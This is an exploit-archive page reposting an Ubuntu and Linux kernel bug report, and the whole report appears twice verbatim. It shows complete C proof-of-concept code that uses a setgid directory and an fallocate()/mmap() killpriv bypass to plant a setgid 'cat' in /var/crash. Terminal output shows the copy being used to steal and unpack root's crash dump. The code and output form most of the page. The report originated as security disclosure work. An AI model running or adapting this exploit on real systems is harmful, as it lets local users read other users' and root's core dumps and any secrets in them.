Linux (ubuntu) other users coredumps can be read via setgid directory and killpriv bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-07-16 | Type : dos | Platform : linux
This exploit / vulnerability Linux (ubuntu) other users coredumps can be read via setgid directory and killpriv bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

/*
Note: I am both sending this bug report to security@kernel.org and filing it in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.

I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:


=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include <fcntl.h>
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=============


Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/

"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/

However, as far as I can tell, neither of them actually landed.


You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/
):


=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");


memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=============


sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.

On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:


=============
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
if (argc != 2) {
printf("usage: ./fallocate <file_to_read>");
return 1;
}
int src_fd = open("/bin/cat", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");

unlink("/var/crash/privileged_cat"); /* in case we've already run before */
int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);

execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
err(1, "execl");
}

/*
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 384
-rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked
user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack
user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
*/
/*
Note: I am both sending this bug report to security@kernel.org and filing it in
the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
or as a Ubuntu bug. You may wish to talk to each other to determine the best
place to fix this.

I noticed halfdog's old writeup at
https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
, describing essentially the following behavior in combination with a
trick for then writing to the resulting file without triggering the
killpriv logic:


=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat > demo.c
#include <fcntl.h>
int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
user@debian:~/sgid_demo$ gcc -o demo demo.c
user@debian:~/sgid_demo$ ./demo
user@debian:~/sgid_demo$ ls -l dir/file
-rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
=============


Two patches for this were proposed on LKML back then:
"[PATCH 1/2] fs: Check f_cred instead of current's creds in
should_remove_suid()"
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.luto@kernel.org/

"[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid directory"
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.luto@kernel.org/

However, as far as I can tell, neither of them actually landed.


You can also bypass the killpriv logic with fallocate() and mmap() -
fallocate() permits resizing the file without triggering killpriv,
mmap() permits writing without triggering killpriv (the mmap part is mentioned
at
https://lore.kernel.org/lkml/CAGXu5jLu6OGkQUgqRcOyQ6DABOwZ9HX3fUQ+-zC7NjLukGKnVw@mail.gmail.com/
):


=============
user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
user@debian:~/sgid_demo$ cat fallocate.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");


memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
}
user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
user@debian:~/sgid_demo$ ./fallocate
uid=1000(user) gid=1000(user) egid=0(root)
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
=============


sys_copy_file_range() also looks as if it bypasses killpriv on
supported filesystems, but I haven't tested that one so far.

On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
contains group-readable crashdumps in some custom format, so you can use this
issue to steal other users' crashdumps:


=============
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 296
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ cat /var/crash/_usr_bin_id.0.crash
cat: /var/crash/_usr_bin_id.0.crash: Permission denied
user@ubuntu-18-04-vm:~$ cat fallocate.c
*/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <string.h>

int main(int argc, char **argv) {
if (argc != 2) {
printf("usage: ./fallocate <file_to_read>");
return 1;
}
int src_fd = open("/bin/cat", O_RDONLY);
if (src_fd == -1)
err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, &src_stat))
err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
err(1, "mmap 2");

unlink("/var/crash/privileged_cat"); /* in case we've already run before */
int fd = open("/var/crash/privileged_cat", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
err(1, "open");
if (fallocate(fd, 0, 0, src_len))
err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (mapping == MAP_FAILED)
err(1, "mmap");
memcpy(mapping, src_mapping, src_len);
munmap(mapping, src_len);
close(fd);

execl("/var/crash/privileged_cat", "cat", argv[1], NULL);
err(1, "execl");
}

/*
user@ubuntu-18-04-vm:~$ gcc -o fallocate fallocate.c
user@ubuntu-18-04-vm:~$ ./fallocate /var/crash/_usr_bin_id.0.crash > /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ ls -l /var/crash
total 384
-rwxr-sr-x 1 user whoopsie 35064 Jul 3 19:22 privileged_cat
-rw-r----- 1 user whoopsie 16527 Jun 25 22:27 _usr_bin_apport-unpack.1000.crash
-rw-r----- 1 root whoopsie 50706 Jun 25 21:51 _usr_bin_id.0.crash
-rw-r--r-- 1 user whoopsie 50706 Jul 3 19:22 _usr_bin_id.0.crash.stolen
-rw-r----- 1 user whoopsie 51842 Jun 25 21:42 _usr_bin_id.1000.crash
-rw-r----- 1 user whoopsie 152095 Jun 25 21:43 _usr_bin_strace.1000.crash
-rw-r----- 1 root whoopsie 18765 Jun 26 00:42 _usr_bin_xattr.0.crash
user@ubuntu-18-04-vm:~$ mkdir root_crash_unpacked
user@ubuntu-18-04-vm:~$ # work around bug in apport-unpack
user@ubuntu-18-04-vm:~$ sed -i 's|^UserGroups: $|UserGroups: 0|' /var/crash/_usr_bin_id.0.crash.stolen
user@ubuntu-18-04-vm:~$ apport-unpack /var/crash/_usr_bin_id.0.crash.stolen root_crash_unpacked/
user@ubuntu-18-04-vm:~$ file root_crash_unpacked/CoreDump
root_crash_unpacked/CoreDump: ELF 64-bit LSB core file x86-64, version 1 (SYSV), SVR4-style, from 'id', real uid: 0, effective uid: 0, real gid: 0, effective gid: 0, execfn: '/usr/bin/id', platform: 'x86_64'
*/